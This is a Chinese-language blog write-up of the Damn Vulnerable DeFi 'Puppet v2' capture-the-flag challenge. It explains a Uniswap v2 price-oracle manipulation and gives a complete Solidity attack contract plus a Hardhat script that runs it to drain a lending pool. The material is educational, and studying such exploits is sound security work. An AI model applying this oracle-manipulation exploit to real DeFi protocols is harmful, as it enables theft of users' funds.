Defi安全挑战系列-Damn Vulnerable DeFi(#9 Puppet v2)
June 27th, 2023

前一个池子的开发者似乎已经吸取了教训,并发布了一个新版本!

现在他们正在使用Uniswap v2交换作为价格预言机,同时结合推荐的实用程序库。这应该足够了。

你的账户余额中有20个ETH和10000个DVT代币。该池子中有100万个DVT代币。你知道该怎么做。

分析合约

池子换成了uniswap v2,池子深度还是很浅,出题人目的想考察答题者对uniswap v2 swap方法的了解。 借贷池的的价格预言机是根据uniswap中币对ETH-DVT的余额换算的,直接使用手中的ETH借贷肯定无法借出所有DVT,所以答题者卖掉持有的所有DVT到uniswap池子中,DVT的价格骤降。再使用ETH去找借贷池可以借出所有的DVT,完成挑战目标。

解决方案

创建PupperV2PoolAttack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol";
import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol";
import {PuppetV2Pool} from "./PuppetV2Pool.sol";
import {IUniswapV2Router02} from "../IUniswapV2Router02.sol";
import "hardhat/console.sol";

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    function balanceOf(address account) external returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function deposit() external payable;
}

contract PupperV2PoolAttack {
    using SafeMath for uint256;

    PuppetV2Pool private _pool;
    IERC20 private _token;
    IERC20 private _weth;
    IUniswapV2Router02 private _uniwapRouter;

    constructor(
        address poolAddress,
        address wethAddress,
        address tokenAddress,
        address uniwapRouter
    ) public {
        _pool = PuppetV2Pool(poolAddress);
        _weth = IERC20(wethAddress);
        _token = IERC20(tokenAddress);
        _uniwapRouter = IUniswapV2Router02(uniwapRouter);
    }

    function attack() public payable {
        uint256 tokenAmount = _token.balanceOf(address(this));
        _token.approve(address(_uniwapRouter), tokenAmount);

        address[] memory path = new address[](2);
        path[0] = address(_token);
        path[1] = address(_weth);

        _uniwapRouter.swapExactTokensForETH(
            tokenAmount,
            1,
            path,
            address(this),
            uint256(block.timestamp + 5000)
        );

        _weth.deposit{value: address(this).balance}();
        uint256 ethAmount = _weth.balanceOf(address(this));
        _weth.approve(address(_pool), ethAmount);
        uint256 poolTokenAmount = _token.balanceOf(address(_pool));
        _pool.borrow(poolTokenAmount);
        uint256 borrowTokenAmount = _token.balanceOf(address(this));
        _token.transfer(msg.sender, borrowTokenAmount);
    }

    receive() external payable {}
}

puppet-v2.challenge.js

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */

        const attackFoctory = await ethers.getContractFactory("PupperV2PoolAttack", player);
        const attackContact = await attackFoctory.deploy(
            lendingPool.address,
            weth.address,
            token.address,
            uniswapRouter.address
        );

        await token.connect(player).transfer(attackContact.address, PLAYER_INITIAL_TOKEN_BALANCE);
        await attackContact.connect(player).attack({
            value: PLAYER_INITIAL_ETH_BALANCE - 1n * 10n ** 17n
        });
    });
Subscribe to skye
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.
More from skye

Skeleton

Skeleton

Skeleton